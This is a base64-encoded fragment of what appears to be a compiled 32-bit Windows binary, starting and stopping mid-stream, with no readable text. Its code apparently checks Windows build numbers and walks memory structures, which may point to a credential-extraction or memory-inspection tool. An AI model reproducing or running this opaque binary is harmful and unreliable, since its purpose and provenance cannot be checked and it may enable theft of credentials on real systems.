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3cIoTzcAhBqQI10JBSJRCQU6Mvn//9ZWYlEJAw7w3RSalSLxlCNRCQcUOjf8v7/g8QMhcB0PIuEJJAAAACJRCQMO8N0LY1EJCSJRCQUahyLxlCNRCQcUOiy8v7/g8QMhcB0D2gAAABAjUQkLOjE4P//WV9eW4vlXcIEAGoBuHCVARDo7tz//1nDVYvsg+T4g+wcU1YzwI1MJBxXi30IiUwkHIsPiUQkIIlEJCSJRCQYiUQkEIsRiVQkFDkFWMMCEHUwaETcAhBQaEDcAhBqBWiAwwIQvkDDAhDokeX//4PEFIXAdQ1owPEBEOhn+/7/WetxoUDcAhD/dwiLHUTcAhCJRCQUjUQkFFBqEF6DwxjoIOb//1lZiUQkEIXAdEVTakD/FQySARCJRCQYhcB0NFONRCQUUI1EJCBQ6M/x/v+DxAyFwHQToUTcAhCLTCQYagADwejd3///Wf90JBj/FRCSARBfXluL5V3CBAD/JQCQARD/JQSQARD/JQiQARD/JVCQARD/JWCQARD/JbCQARD/JbSQARD/JbyQARD/JcyQARD/JcCSARD/JaySARD/JbySARD/JbiSARD/JbSSARD/JbCSARD/JVCSARD/JVSSARD/JViSARD/JVySARD/JUySARD/JUiSARD/JUSSARD/JUCSARD/JTySARD/JSiSARD/JTiSARD/JSySARD/JTCSARD/JTSSARD/JYiSARD/JXySARD/JYySARD/JYCSARD/JYSSARD/JaSSARD/JZySARD/JaCSARD/JaSTARD/JaCTARD/JZyTARD/JZiTARD/JZSTARD/JZCTARD/JYyTARD/JYiTARD/JYSTARD/JYCTARD/JWCTARD/JaiTARD/JayTARD/JbCTARD/JbSTARD/JbiTARD/JbyTARD/JcCTARD/JcSTARD/JciTARCL/1WL7IHs0AIAAKEAwAIQM8WJRfyJheD9//+Jjdz9//+Jldj9//+JndT9//+JtdD9//+Jvcz9//9mjJX4/f//ZoyN7P3//2aMncj9//9mjIXE/f//ZoylwP3//2aMrbz9//+cj4Xw/f//i0UEiYXo/f//jUUEx4Uw/f//AQABAImF9P3//4tA/GjwkwEQiYXk/f///xVEkQEQi038M83oFAAAAMnDi/9Vi+xd6U/////M/yUUkwEQOw0AwAIQdQPCA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